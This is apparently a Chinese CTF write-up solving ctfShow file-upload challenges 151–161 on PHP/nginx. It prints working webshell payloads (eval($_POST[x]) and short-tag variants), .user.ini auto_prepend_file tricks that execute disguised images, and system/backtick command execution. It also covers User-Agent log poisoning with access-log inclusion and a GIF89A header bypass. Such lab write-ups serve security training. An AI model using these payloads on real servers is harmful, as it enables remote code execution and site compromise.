PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

CTFSHOW-文件上传-151到161关卡

151 152JS验证+MIME

ContentType: image/png

153JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:<?php eval($_POST[x]);?>

154 155JS验证+user.ini+短标签

<? echo '123';?> //前提是开启配置参数short_open_tags=on

<?=(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

156 JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system('tac ../fl*')?>

test.png:<? echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

161 JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

151关(修改前端代码即可)

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

后门代码:<?php eval($_POST[x]);?>

post:x=system('ls');

修改前端代码

PHP-nginx-ctfShow文件上传漏洞

上传包含后门代码的php文件

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

通过POST提交指令x=system('tac ../flag.php');

PHP-nginx-ctfShow文件上传漏洞

152关(修改content-type类型,上传PHP文件)

PHP-nginx-ctfShow文件上传漏洞

通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type

PHP-nginx-ctfShow文件上传漏洞

继续修改前端代码。抓包,修改信息

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

153关(.user.ini包含1.png自动执行)

PHP-nginx-ctfShow文件上传漏洞

使用到了.user.ini的文件配置漏洞

.user.ini实际上就是一个可以由用户“自定义”的php.ini

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

.user.ini : auto_prepend_file=1.png

1.png : <?php eval($_POST[x]);?>

post : x=system('tac ../flag.php');

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

.user.ini 父目录中是自动带有index.php

154关(<?php eval($_POST[x]);?> 换为<?=eval($_POST[x]);?>

当内容检测中,过滤了<?php ?>,可以使用一下方法

<? echo '123';?> //前提是开启配置参数short_open_tags=on

<?=(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; </script> //不需要修改参数开关

PHP-nginx-ctfShow文件上传漏洞

这一关过滤的php,所以<?php eval($_POST[x]);?> 换为<?=eval($_POST[x]);?>

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

155关

和154关的过关方法是一样的

发现存在过滤

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

156关(前端修改代码无效,上传后门代码)

过关方法:

  1. png:<?=eval($_POST{x});?>

  1. 直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag

发现存在内容检测过滤

但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

157关(过滤了php字段,通过*代替了php)

过关方法:

  1. png:<?=system('tac ../flag.*')?>

  2. 直接访问/upload/ 显示flag

PHP-nginx-ctfShow文件上传漏洞

自动执行了代码<?=system('tac ../flag.*')?>

PHP-nginx-ctfShow文件上传漏洞

158关

和157关的方法是一样的

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

159关(过滤了PHP执行命令,反括号代替执行命令)

过关方法:1.png:<?= `tac ../fl*` ?>

.user.ini:auto_prepend_file=1.png

直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

160关(通过访问日志记录的读取,.user.ini的文件包含执行)

解题方法:

  1. png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

  2. .user.ini : auto_prepend_file=1.png

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

成功拿到flag

PHP-nginx-ctfShow文件上传漏洞

161关(修改内容-文件类型)

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

发现什么内容也无法上传

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

发现限制了文件类型内容,内容加GIF89A

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

PHP-nginx-ctfShow文件上传漏洞

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

                       

点击阅读全文

上一篇 2023年 6月 15日 am10:42
下一篇 2023年 6月 15日 am10:43